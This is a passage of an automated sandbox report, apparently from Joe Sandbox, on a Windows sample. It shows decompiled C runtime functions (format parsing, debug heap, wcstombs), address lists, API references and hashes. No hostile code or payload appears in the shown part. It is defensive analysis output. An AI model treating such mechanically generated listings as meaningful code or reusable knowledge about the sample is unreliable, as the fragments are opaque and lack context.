																		case 0xa:
																			L136:
																			 *(__ebp - 0x30) = 8;
																			goto L137;
																		case 0xb:
																			L81:
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x310) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x310) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x310);
																			 *(__ebp - 0x28c) =  *(__ebp - 0x310);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E00428400(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				L92:
																				if( *(__ebp - 4) == 0) {
																					__edx =  *0x440f80; // 0x404478
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x288) =  *(__ebp - 4);
																				while(1) {
																					L95:
																					__ecx =  *(__ebp - 0x28c);
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																					if(__ecx == 0) {
																						break;
																					}
																					L96:
																					__eax =  *(__ebp - 0x288);
																					__ecx =  *( *(__ebp - 0x288));
																					if(__ecx == 0) {
																						break;
																					}
																					L97:
																					 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																					 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																				}
																				L98:
																				 *(__ebp - 0x288) =  *(__ebp - 0x288) -  *(__ebp - 4);
																				 *(__ebp - 0x24) =  *(__ebp - 0x288) -  *(__ebp - 4);
																				goto L99;
																			} else {
																				L85:
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f84; // 0x404468
																					 *(__ebp - 4) = __eax;
																				}
																				 *(__ebp - 0xc) = 1;
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x290) =  *(__ebp - 4);
																				while(1) {
																					L88:
																					__edx =  *(__ebp - 0x28c);
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																					if( *(__ebp - 0x28c) == 0) {
																						break;
																					}
																					L89:
																					__ecx =  *(__ebp - 0x290);
																					__edx =  *( *(__ebp - 0x290)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x290)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L90:
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																				}
																				L91:
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) -  *(__ebp - 4);
																				__ecx =  *(__ebp - 0x290) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) = __ecx;
																				L99:
																				goto L181;
																			}
																		case 0xc:
																			goto L0;
																		case 0xd:
																			L138:
																			 *((intOrPtr*)(__ebp - 0x260)) = 0x27;
																			L139:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *((char*)(__ebp - 0x14)) = 0x30;
																				 *((intOrPtr*)(__ebp - 0x260)) =  *((intOrPtr*)(__ebp - 0x260)) + 0x51;
																				 *((char*)(__ebp - 0x13)) = __al;
																				 *(__ebp - 0x1c) = 2;
																			}
																			goto L144;
																		case 0xe:
																			goto L181;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x00427dcc
0x00427dcc
0x00427dcc
0x00427dcc
0x00427dcc
0x00000000
0x00427e3b
0x00000000
0x00427e3b
0x00000000
0x00427e3b
0x00427e3b
0x00427e43
0x00427e65
0x00427e6b
0x00427e90
0x00427ed7
0x00427eda
0x00427efb
0x00427f00
0x00427f05
0x00427f0b
0x00427edc
0x00427ee0
0x00427ee5
0x00427ee8
0x00427ee9
0x00427eef
0x00427eef
0x00427e92
0x00427e95
0x00427e98
0x00427eba
0x00427ebf
0x00427ec5
0x00427ec6
0x00427ecc
0x00427e9a
0x00427e9e
0x00427ea3
0x00427ea7
0x00427ea8
0x00427eae
0x00427eae
0x00427ed2
0x00427e6d
0x00427e71
0x00427e76
0x00427e79
0x00427e7f
0x00427e7f
0x00427e45
0x00427e49
0x00427e4e
0x00427e51
0x00427e57
0x00427e57
0x00427f17
0x00427f59
0x00427f5f
0x00427f6b
0x00000000
0x00427f19
0x00427f19
0x00427f19
0x00427f20
0x00000000
0x00427f2d
0x00427f2d
0x00427f3b
0x00427f40
0x00427f46
0x00427f54
0x00427f71
0x00427f79
0x00427f9b
0x00427f9b
0x00427fa5
0x00427fb6
0x00427fc0
0x00427fc2
0x00427fc2
0x00427fa7
0x00427fa7
0x00427fa7
0x00427fd5
0x00427fd7
0x00427fd7
0x00427fe1
0x00427fe4
0x00427fe4
0x00427fea
0x00427fed
0x00427ff2
0x00000000
0x00000000
0x00428002
0x00428005
0x0042800f
0x0042801e
0x00428027
0x0042803d
0x00428043
0x00428050
0x0042805e
0x0042805e
0x0042806d
0x00428075
0x00428075
0x0042807d
0x00428083
0x0042808c
0x00428098
0x004280b1
0x004280b7
0x004280c0
0x004280c0
0x00000000
0x004280c3
0x00000000
0x004280c3
0x00000000
0x004280c3
0x00000000
0x004280c3
0x00000000
0x004280c3
0x00000000
0x004280c3
0x00000000
0x004280c3
0x004280c3
0x004280c3
0x004280c7
0x004282ae
0x004282b2
0x004282ba
0x004282bf
0x004282c2
0x004282c2
0x004282c9
0x004282c9
0x0042744f
0x00427462
0x00427467
0x00000000
0x0042747a
0x00427484
0x004274ab
0x00427492
0x004274a3
0x004274a3
0x00427484
0x004274b5
0x004274bb
0x004274cd
0x004274d8
0x004274e4
0x004274f1
0x00000000
0x00000000
0x004274f7
0x004274fd
0x00000000
0x00427504
0x00427504
0x0042751c
0x00427521
0x00427526
0x004275e0
0x004275f3
0x004275f8
0x00000000
0x0042752c
0x0042753f
0x00427544
0x0042754a
0x0042754c
0x00427555
0x00427558
0x00427564
0x00427568
0x0042756e
0x00427570
0x00427575
0x00427577
0x0042757c
0x00427581
0x00427583
0x00427588
0x0042758e
0x00427590
0x00427590
0x0042758e
0x00427591
0x00427598
0x00000000
0x0042759a
0x0042759f
0x004275bb
0x004275c3
0x004275d0
0x004275d5
0x004282e8
0x004282f5
0x004282f5
0x00427598
0x00000000
0x00427600
0x00427600
0x00427607
0x0042760a
0x0042760d
0x00427610
0x00427613
0x00427616
0x00427619
0x00427620
0x00427627
0x00000000
0x00000000
0x00427633
0x00427633
0x0042763a
0x00427646
0x00427649
0x00427656
0x00000000
0x00000000
0x00427658
0x00427658
0x0042765e
0x0042765e
0x00427665
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004276a8
0x004276a8
0x004276b2
0x004276dc
0x004276df
0x004276e2
0x004276e9
0x004276e9
0x004276ed
0x004276b4
0x004276b4
0x004276c0
0x004276c7
0x004276c9
0x004276cc
0x004276cf
0x004276d5
0x004276d7
0x004276d7
0x004276da
0x004276f0
0x00000000
0x00000000
0x004276f5
0x004276f5
0x00000000
0x00000000
0x00427701
0x00427701
0x0042770b
0x0042772e
0x00427738
0x00427738
0x0042773c
0x0042770d
0x0042770d
0x00427719
0x00427720
0x00427722
0x00427722
0x00427729
0x00000000
0x00000000
0x00427744
0x00427744
0x0042774b
0x00427757
0x0042775a
0x00427767
0x0042787a
0x00000000
0x0042787a
0x0042776d
0x0042776d
0x00427773
0x00427773
0x0042777a
0x00000000
0x004277b0
0x004277b0
0x004277b3
0x004277b9
0x004277e1
0x004277e1
0x004277e4
0x004277ea
0x0042780f
0x0042780f
0x00427812
0x00427818
0x00427851
0x00427862
0x00000000
0x00427862
0x0042781a
0x0042781a
0x0042781d
0x00427823
0x00000000
0x00000000
0x00427825
0x00427825
0x00427828
0x0042782e
0x00000000
0x00000000
0x00427830
0x00427830
0x00427833
0x00427839
0x00000000
0x00000000
0x0042783b
0x0042783b
0x0042783e
0x00427844
0x00000000
0x00000000
0x00427846
0x00427846
0x00427849
0x0042784f
0x00427853
0x00000000
0x00427853
0x00000000
0x0042784f
0x004277ec
0x004277ec
0x004277ef
0x004277f6
0x00000000
0x004277f8
0x004277fb
0x004277fe
0x00427801
0x00427804
0x0042780a
0x00000000
0x0042780a
0x004277f6
0x004277bb
0x004277bb
0x004277be
0x004277c5
0x00000000
0x004277c7
0x004277ca
0x004277cd
0x004277d0
0x004277d3
0x004277d9
0x00000000
0x004277d9
0x00000000
0x00427864
0x00427867
0x0042786a
0x00000000
0x00000000
0x00427781
0x00427781
0x00427784
0x0042778a
0x004277a2
0x004277a5
0x004277a8
0x0042778c
0x0042778f
0x00427792
0x00427798
0x0042779d
0x0042779d
0x00000000
0x00000000
0x0042786f
0x00427872
0x00427877
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00427682
0x00427685
0x00427688
0x00000000
0x00000000
0x0042768d
0x00427690
0x00427695
0x00000000
0x00000000
0x00427677
0x00427677
0x0042767a
0x0042767d
0x00000000
0x00000000
0x0042766c
0x0042766f
0x00427672
0x00000000
0x00000000
0x0042769a
0x0042769a
0x0042769d
0x004276a0
0x00000000
0x00000000
0x004276a3
0x00000000
0x00000000
0x004274fd
0x004282ce
0x004282d4
0x004282dd
0x004282e2
0x00000000
0x004282e2
0x004280cd
0x004280d3
0x004280dd
0x004280f2
0x00428107
0x00428109
0x0042810d
0x0042810d
0x004280f4
0x004280f4
0x004280f8
0x004280f8
0x004280df
0x004280df
0x004280e3
0x004280e3
0x004280dd
0x0042811d
0x00428129
0x0042813f
0x00428144
0x00428144
0x0042815a
0x0042815f
0x00428168
0x00428186
0x0042818b
0x0042818b
0x00428192
0x00428266
0x00428279
0x0042827e
0x00000000
0x004281a2
0x004281a2
0x004281a2
0x004281af
0x004281b8
0x004281be
0x004281be
0x004281cd
0x004281d5
0x00000000
0x00000000
0x004281db
0x004281e4
0x00428203
0x00428208
0x0042820b
0x0042821a
0x00428227
0x00428232
0x00428232
0x00000000
0x0042823e
0x0042823e
0x00428257
0x0042825c
0x00000000
0x0042825c
0x00428227
0x00428264
0x00428281
0x00428288
0x004282a6
0x004282ab
0x004282ab
0x00000000
0x00428288
0x0042787f
0x0042787f
0x00427886
0x0042788c
0x00427892
0x00427895
0x0042789b
0x004278ae
0x004278ae
0x004278b5
0x00000000
0x00427c0f
0x00427c0f
0x00427c16
0x00427c1d
0x00427c20
0x00000000
0x00000000
0x004278bc
0x004278bf
0x004278c5
0x004278ca
0x004278cf
0x004278cf
0x00000000
0x00000000
0x004279fc
0x004279ff
0x00427a04
0x00427a09
0x00427a0f
0x00427a0f
0x00000000
0x00000000
0x00427ddc
0x00427ddc
0x00000000
0x00000000
0x00427966
0x00427966
0x00427972
0x0042797f
0x0042798d
0x0042798d
0x00427993
0x00427996
0x004279a2
0x004279f7
0x00000000
0x004279f7
0x00427981
0x00427981
0x0042798b
0x004279a7
0x004279aa
0x004279b0
0x004279d8
0x004279df
0x004279e5
0x004279e8
0x004279eb
0x004279f1
0x004279f4
0x004279b2
0x004279b2
0x004279b8
0x004279bb
0x004279be
0x004279c4
0x004279c7
0x004279ca
0x004279cc
0x004279cf
0x004279cf
0x00000000
0x004279b0
0x00000000
0x00000000
0x00427c26
0x00427c29
0x00427c2c
0x00427c2f
0x00427c35
0x00427c38
0x00427c43
0x00427c4e
0x00427c52
0x00427c69
0x00427c70
0x00427c72
0x00427c72
0x00427c79
0x00427c80
0x00427c91
0x00427ca0
0x00427ca7
0x00427cbd
0x00427ca9
0x00427ca9
0x00427cac
0x00427cb2
0x00427cb8
0x00427cb8
0x00427ca7
0x00427cc7
0x00427cca
0x00427ccd
0x00427cd0
0x00427cd0
0x00427cd3
0x00427cd3
0x00427cd6
0x00427cdc
0x00427ce2
0x00427cea
0x00427ceb
0x00427cee
0x00427cef
0x00427cf2
0x00427cf3
0x00427cfa
0x00427cfb
0x00427cfe
0x00427cff
0x00427d02
0x00427d03
0x00427d09
0x00427d0a
0x00427d18
0x00427d1a
0x00427d20
0x00427d26
0x00427d2e
0x00427d36
0x00427d37
0x00427d3a
0x00427d3b
0x00427d49
0x00427d4b
0x00427d4b
0x00427d4e
0x00427d58
0x00427d5d
0x00427d63
0x00427d65
0x00427d6d
0x00427d6e
0x00427d71
0x00427d72
0x00427d81
0x00427d83
0x00427d83
0x00427d63
0x00427d86
0x00427d89
0x00427d8f
0x00427d94
0x00427d9a
0x00427da0
0x00427da3
0x00427da3
0x00427da6
0x00427db2
0x00000000
0x00427db2
0x00427c54
0x00427c54
0x00427c5e
0x00000000
0x00000000
0x00427c60
0x00427c60
0x00000000
0x00427c60
0x00427c45
0x00427c45
0x00000000
0x00000000
0x004278d2
0x004278d5
0x004278db
0x00427936
0x0042793e
0x00427945
0x0042794b
0x00427951
0x004278dd
0x004278dd
0x004278e7
0x004278eb
0x004278f3
0x004278fa
0x00427907
0x0042790e
0x0042791a
0x00427927
0x00427929
0x00427929
0x00427930
0x00427958
0x0042795e
0x00000000
0x00000000
0x00427dba
0x00427dbd
0x00427dc0
0x00427dc3
0x00000000
0x00000000
0x00427b18
0x00427b18
0x00427b24
0x00427b31
0x00427bdb
0x00427bde
0x00427be1
0x00427bf5
0x00427bfb
0x00427c01
0x00427be3
0x00427be3
0x00427bf0
0x00427bf0
0x00427c03
0x00000000
0x00427c03
0x00427b37
0x00427b37
0x00427b39
0x00427b47
0x00427b3b
0x00427b3b
0x00427b3b
0x00427b51
0x00427b57
0x00427b64
0x00427b66
0x00427b6b
0x00427b6d
0x00427b72
0x00427b77
0x00427b79
0x00427b7e
0x00427b84
0x00427b86
0x00427b86
0x00427b84
0x00427b8e
0x00427bd6
0x00000000
0x00427b90
0x00427b90
0x00427b95
0x00427bb1
0x00427bb9
0x00427bc3
0x00427bc6
0x00427bcb
0x00000000
0x00427bcb
0x00000000
0x00427e1d
0x00427e1d
0x00427e27
0x00427e2d
0x00427e32
0x00427e38
0x00427e38
0x00000000
0x00000000
0x00427dd5
0x00427dd5
0x00000000
0x00000000
0x00427a12
0x00427a16
0x00427a24
0x00427a27
0x00427a18
0x00427a18
0x00427a18
0x00427a2d
0x00427a33
0x00427a39
0x00427a45
0x00427a4b
0x00427a51
0x00427ab8
0x00427abc
0x00427abe
0x00427ac4
0x00427ac4
0x00427ac7
0x00427aca
0x00427ad0
0x00427ad0
0x00427ad0
0x00427adc
0x00427adf
0x00427ae7
0x00000000
0x00000000
0x00427ae9
0x00427ae9
0x00427aef
0x00427af4
0x00000000
0x00000000
0x00427af6
0x00427afc
0x00427aff
0x00427aff
0x00427b07
0x00427b0d
0x00427b10
0x00000000
0x00427a53
0x00427a53
0x00427a57
0x00427a59
0x00427a5e
0x00427a5e
0x00427a61
0x00427a68
0x00427a6b
0x00427a71
0x00427a71
0x00427a71
0x00427a7d
0x00427a80
0x00427a88
0x00000000
0x00000000
0x00427a8a
0x00427a8a
0x00427a90
0x00427a95
0x00000000
0x00000000
0x00427a97
0x00427a9d
0x00427aa0
0x00427aa0
0x00427aa8
0x00427aae
0x00427ab1
0x00427ab3
0x00427b13
0x00000000
0x00427b13
0x00000000
0x00000000
0x00000000
0x00427de8
0x00427de8
0x00427df2
0x00427df2
0x00427dfc
0x00427e02
0x00427e04
0x00427e0e
0x00427e11
0x00427e14
0x00427e14
0x00000000
0x00000000
0x00000000
0x00000000
0x004278b5
0x004280c3
0x004280c3
0x004280c3
0x004280c3
0x004280c3
0x004280c3
0x004280c3
0x00427f20
0x00427f17
0x00427e3b
0x00427e3b
0x00427e3b

APIs

_get_int64_arg.LIBCMTD ref: 00427E49
_get_int64_arg.LIBCMTD ref: 00427E71
__aullrem.LIBCMT ref: 00428016
__aulldiv.LIBCMT ref: 00428038

Strings

9, xrefs: 00428049

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: cd2cfd6f4318f5a0225f11cb0a853ca8bb39c7e2334494b0ad3806e4e6a6f94f
Instruction ID: 22f40c19c0dd06729b50629064af86019d1670ab76cd070774b80b41aa264706
Opcode Fuzzy Hash: cd2cfd6f4318f5a0225f11cb0a853ca8bb39c7e2334494b0ad3806e4e6a6f94f
Instruction Fuzzy Hash: 7141F871E08229DFDB64DF48D989BAEB7B5BB84304F5141DAE409A7244CB389E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0041CA6E, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 40COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041CAFD
__free_base.LIBCMTD ref: 0041CB09

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041CA7A
_pLastBlock == pHead, xrefs: 0041CA6E

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: __free_base_memset
String ID: _pLastBlock == pHead$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 2669475236-449961717
Opcode ID: ce29ca4761b46ffd7e64525b5fd4c5b5eb950736fb4645536be23fbc868670eb
Instruction ID: 5fb992b86ab47b9da150255d3e706447625755f8d82fbd4c38b88eb8fb08d6fe
Opcode Fuzzy Hash: ce29ca4761b46ffd7e64525b5fd4c5b5eb950736fb4645536be23fbc868670eb
Instruction Fuzzy Hash: C001ACB8A40104EBC700CB54DDC1B6EB7B5BF48308F34819AE50567381D675EE51DB99

Uniqueness

Uniqueness Score: -1.00%

Function 00437236, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00437236(intOrPtr __ebx, void* __edx, intOrPtr __edi, intOrPtr __esi) {
				intOrPtr* _t155;
				signed int* _t157;
				signed int _t162;
				intOrPtr* _t179;
				intOrPtr _t201;
				void* _t220;
				intOrPtr _t221;
				void* _t222;
				intOrPtr _t240;
				intOrPtr _t247;
				intOrPtr _t290;
				intOrPtr _t291;
				signed int _t292;
				void* _t294;

				_t291 = __esi;
				_t290 = __edi;
				_t221 = __ebx;
				if( *(_t292 + 0x10) != 0) {
					 *(_t292 - 0x30) = 0 |  *(_t292 + 0xc) != 0x00000000;
					if( *(_t292 - 0x30) == 0) {
						_push(L"pwcs != NULL");
						_push(0);
						_push(0x66);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
						_push(2);
						_t220 = L0041E420();
						_t294 = _t294 + 0x14;
						if(_t220 == 1) {
							asm("int3");
						}
					}
					if( *(_t292 - 0x30) != 0) {
						_t274 =  *(_t292 + 0x14);
						L0041ADE0(_t292 - 0x20,  *(_t292 + 0x14));
						if( *(_t292 + 8) == 0) {
							_t155 = E0041AEF0(_t292 - 0x20);
							_t225 =  *_t155;
							if( *((intOrPtr*)( *_t155 + 0x14)) != 0) {
								_t227 = _t292 - 0x20;
								_t157 = E0041AEF0(_t292 - 0x20);
								_t274 =  *_t157;
								 *(_t292 - 4) = WideCharToMultiByte( *( *_t157 + 4), 0,  *(_t292 + 0xc), 0xffffffff, 0, 0, 0, _t292 - 0x10);
								if( *(_t292 - 4) == 0 ||  *(_t292 - 0x10) != 0) {
									 *((intOrPtr*)(L00422F10(_t227))) = 0x2a;
									 *(_t292 - 0x68) = 0xffffffff;
									E0041AEC0(_t292 - 0x20);
									_t162 =  *(_t292 - 0x68);
								} else {
									 *(_t292 - 0x6c) =  *(_t292 - 4) - 1;
									E0041AEC0(_t292 - 0x20);
									_t162 =  *(_t292 - 0x6c);
								}
							} else {
								_t274 =  *(_t292 + 0xc);
								 *(_t292 - 0x64) = E0042DC00(_t225,  *(_t292 + 0xc));
								E0041AEC0(_t292 - 0x20);
								_t162 =  *(_t292 - 0x64);
							}
						} else {
							if( *((intOrPtr*)( *((intOrPtr*)(E0041AEF0(_t292 - 0x20))) + 0x14)) != 0) {
								if( *((intOrPtr*)( *((intOrPtr*)(E0041AEF0(_t292 - 0x20))) + 0xac)) != 1) {
									_t240 =  *((intOrPtr*)(E0041AEF0(_t292 - 0x20)));
									_t274 =  *(_t240 + 4);
									 *(_t292 - 4) = WideCharToMultiByte( *(_t240 + 4), 0,  *(_t292 + 0xc), 0xffffffff,  *(_t292 + 8),  *(_t292 + 0x10), 0, _t292 - 0x10);
									if( *(_t292 - 4) == 0 ||  *(_t292 - 0x10) != 0) {
										if( *(_t292 - 0x10) != 0 || GetLastError() != 0x7a) {
											 *((intOrPtr*)(L00422F10(_t240))) = 0x2a;
											 *(_t292 - 0x4c) = 0xffffffff;
											E0041AEC0(_t292 - 0x20);
											_t162 =  *(_t292 - 0x4c);
										} else {
											while( *(_t292 - 4) <  *(_t292 + 0x10)) {
												_t179 = E0041AEF0(_t292 - 0x20);
												_t247 =  *((intOrPtr*)(E0041AEF0(_t292 - 0x20)));
												_t274 =  *(_t247 + 4);
												 *((intOrPtr*)(_t292 - 0xc)) = WideCharToMultiByte( *(_t247 + 4), 0,  *(_t292 + 0xc), 1, _t292 - 0x2c,  *( *_t179 + 0xac), 0, _t292 - 0x10);
												if( *((intOrPtr*)(_t292 - 0xc)) == 0 ||  *(_t292 - 0x10) != 0) {
													 *((intOrPtr*)(L00422F10(_t247))) = 0x2a;
													 *(_t292 - 0x50) = 0xffffffff;
													E0041AEC0(_t292 - 0x20);
													_t162 =  *(_t292 - 0x50);
												} else {
													if( *((intOrPtr*)(_t292 - 0xc)) < 0 ||  *((intOrPtr*)(_t292 - 0xc)) > 5) {
														 *((intOrPtr*)(L00422F10(_t247))) = 0x2a;
														 *(_t292 - 0x54) = 0xffffffff;
														E0041AEC0(_t292 - 0x20);
														_t162 =  *(_t292 - 0x54);
													} else {
														if( *(_t292 - 4) +  *((intOrPtr*)(_t292 - 0xc)) <=  *(_t292 + 0x10)) {
															 *(_t292 - 8) = 0;
															while( *(_t292 - 8) <  *((intOrPtr*)(_t292 - 0xc))) {
																( *(_t292 + 8))[ *(_t292 - 4)] =  *((intOrPtr*)(_t292 +  *(_t292 - 8) - 0x2c));
																_t274 =  &(( *(_t292 + 8))[ *(_t292 - 4)]);
																if(( *(_t292 + 8))[ *(_t292 - 4)] != 0) {
																	 *(_t292 - 8) =  *(_t292 - 8) + 1;
																	 *(_t292 - 4) =  *(_t292 - 4) + 1;
																	continue;
																}
																 *(_t292 - 0x5c) =  *(_t292 - 4);
																E0041AEC0(_t292 - 0x20);
																_t162 =  *(_t292 - 0x5c);
																goto L55;
															}
															_t274 =  &(( *(_t292 + 0xc))[1]);
															 *(_t292 + 0xc) =  &(( *(_t292 + 0xc))[1]);
															continue;
														}
														 *(_t292 - 0x58) =  *(_t292 - 4);
														E0041AEC0(_t292 - 0x20);
														_t162 =  *(_t292 - 0x58);
													}
												}
												goto L55;
											}
											 *(_t292 - 0x60) =  *(_t292 - 4);
											E0041AEC0(_t292 - 0x20);
											_t162 =  *(_t292 - 0x60);
										}
									} else {
										 *(_t292 - 0x48) =  *(_t292 - 4) - 1;
										E0041AEC0(_t292 - 0x20);
										_t162 =  *(_t292 - 0x48);
									}
									goto L55;
								}
								if( *(_t292 + 0x10) > 0) {
									 *(_t292 + 0x10) = E004376A0( *(_t292 + 0xc),  *(_t292 + 0x10));
								}
								_t274 =  *(_t292 + 0xc);
								_t201 =  *((intOrPtr*)(E0041AEF0(_t292 - 0x20)));
								_t260 =  *(_t201 + 4);
								 *(_t292 - 4) = WideCharToMultiByte( *(_t201 + 4), 0,  *(_t292 + 0xc),  *(_t292 + 0x10),  *(_t292 + 8),  *(_t292 + 0x10), 0, _t292 - 0x10);
								if( *(_t292 - 4) == 0 ||  *(_t292 - 0x10) != 0) {
									 *((intOrPtr*)(L00422F10(_t260))) = 0x2a;
									 *(_t292 - 0x44) = 0xffffffff;
									E0041AEC0(_t292 - 0x20);
									_t162 =  *(_t292 - 0x44);
								} else {
									if( *((char*)( &(( *(_t292 + 8))[ *(_t292 - 4)]) - 1)) == 0) {
										 *(_t292 - 4) =  *(_t292 - 4) - 1;
									}
									_t274 =  *(_t292 - 4);
									 *(_t292 - 0x40) =  *(_t292 - 4);
									E0041AEC0(_t292 - 0x20);
									_t162 =  *(_t292 - 0x40);
								}
								goto L55;
							} else {
								goto L10;
							}
							while(1) {
								L10:
								_t265 =  *(_t292 - 4);
								if( *(_t292 - 4) >=  *(_t292 + 0x10)) {
									break;
								}
								_t274 =  *(_t292 + 0xc);
								if(( *( *(_t292 + 0xc)) & 0x0000ffff) <= 0xff) {
									( *(_t292 + 8))[ *(_t292 - 4)] =  *( *(_t292 + 0xc));
									_t274 =  *( *(_t292 + 0xc)) & 0x0000ffff;
									 *(_t292 + 0xc) =  &(( *(_t292 + 0xc))[1]);
									if(( *( *(_t292 + 0xc)) & 0x0000ffff) != 0) {
										_t274 =  *(_t292 - 4) + 1;
										 *(_t292 - 4) =  *(_t292 - 4) + 1;
										continue;
									}
									 *(_t292 - 0x38) =  *(_t292 - 4);
									E0041AEC0(_t292 - 0x20);
									_t162 =  *(_t292 - 0x38);
									goto L55;
								}
								 *((intOrPtr*)(L00422F10(_t265))) = 0x2a;
								 *(_t292 - 0x34) = 0xffffffff;
								E0041AEC0(_t292 - 0x20);
								_t162 =  *(_t292 - 0x34);
								goto L55;
							}
							 *(_t292 - 0x3c) =  *(_t292 - 4);
							E0041AEC0(_t292 - 0x20);
							_t162 =  *(_t292 - 0x3c);
						}
					} else {
						 *((intOrPtr*)(L00422F10(_t222))) = 0x16;
						_t162 = E00422CA0(_t221, _t222, _t290, _t291, L"pwcs != NULL", L"_wcstombs_l_helper", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x66, 0) | 0xffffffff;
					}
					goto L55;
				} else {
					_t162 = 0;
					L55:
					return E0042BD60(_t162, _t221,  *(_t292 - 0x24) ^ _t292, _t274, _t290, _t291);
				}
			}

0x00437236
0x00437236
0x00437236
0x0043723a
0x0043724c
0x00437253
0x00437255
0x0043725a
0x0043725c
0x0043725e
0x00437263
0x00437265
0x0043726a
0x00437270
0x00437272
0x00437272
0x00437270
0x00437277
0x004372a7
0x004372ae
0x004372b7
0x004375ee
0x004375f3
0x004375f9
0x0043762b
0x0043762e
0x00437633
0x0043763f
0x00437646
0x00437653
0x00437659
0x00437663
0x00437668
0x0043766d
0x00437673
0x00437679
0x0043767e
0x0043767e
0x004375fb
0x004375fb
0x00437607
0x0043760d
0x00437612
0x00437612
0x004372bd
0x004372cb
0x00437375
0x00437441
0x00437443
0x0043744d
0x00437454
0x00437479
0x0043748b
0x00437491
0x0043749b
0x004374a0
0x004374a8
0x004374a8
0x004374bd
0x004374df
0x004374e1
0x004374eb
0x004374f2
0x004374ff
0x00437505
0x0043750f
0x00437514
0x0043751c
0x00437520
0x0043752d
0x00437533
0x0043753d
0x00437542
0x0043754a
0x00437553
0x0043756b
0x00437586
0x0043759b
0x004375a0
0x004375a8
0x0043757a
0x00437583
0x00000000
0x00437583
0x004375ad
0x004375b3
0x004375b8
0x00000000
0x004375b8
0x004375c5
0x004375c8
0x00000000
0x004375c8
0x00437558
0x0043755e
0x00437563
0x00437563
0x00437520
0x00000000
0x004374f2
0x004375d3
0x004375d9
0x004375de
0x004375de
0x0043745c
0x00437462
0x00437468
0x0043746d
0x0043746d
0x00000000
0x00437454
0x0043737f
0x00437391
0x00437391
0x004373a6
0x004373b4
0x004373b6
0x004373c0
0x004373c7
0x00437401
0x00437407
0x00437411
0x00437416
0x004373cf
0x004373db
0x004373e3
0x004373e3
0x004373e6
0x004373e9
0x004373ef
0x004373f4
0x004373f4
0x00000000
0x00000000
0x00000000
0x00000000
0x004372d1
0x004372d1
0x004372d1
0x004372d7
0x00000000
0x00000000
0x004372d9
0x004372e4
0x00437313
0x00437318
0x00437321
0x00437326
0x00437341
0x00437344
0x00000000
0x00437344
0x0043732b
0x00437331
0x00437336
0x00000000
0x00437336
0x004372eb
0x004372f1
0x004372fb
0x00437300
0x00000000
0x00437300
0x0043734c
0x00437352
0x00437357
0x00437357
0x00437279
0x0043727e
0x0043729f
0x0043729f
0x00000000
0x0043723c
0x0043723c
0x0043768b
0x00437698
0x00437698

APIs

__invalid_parameter.LIBCMTD ref: 00437297

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 0043725E, 00437288
_wcstombs_l_helper, xrefs: 0043728D
pwcs != NULL, xrefs: 00437255, 00437292

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

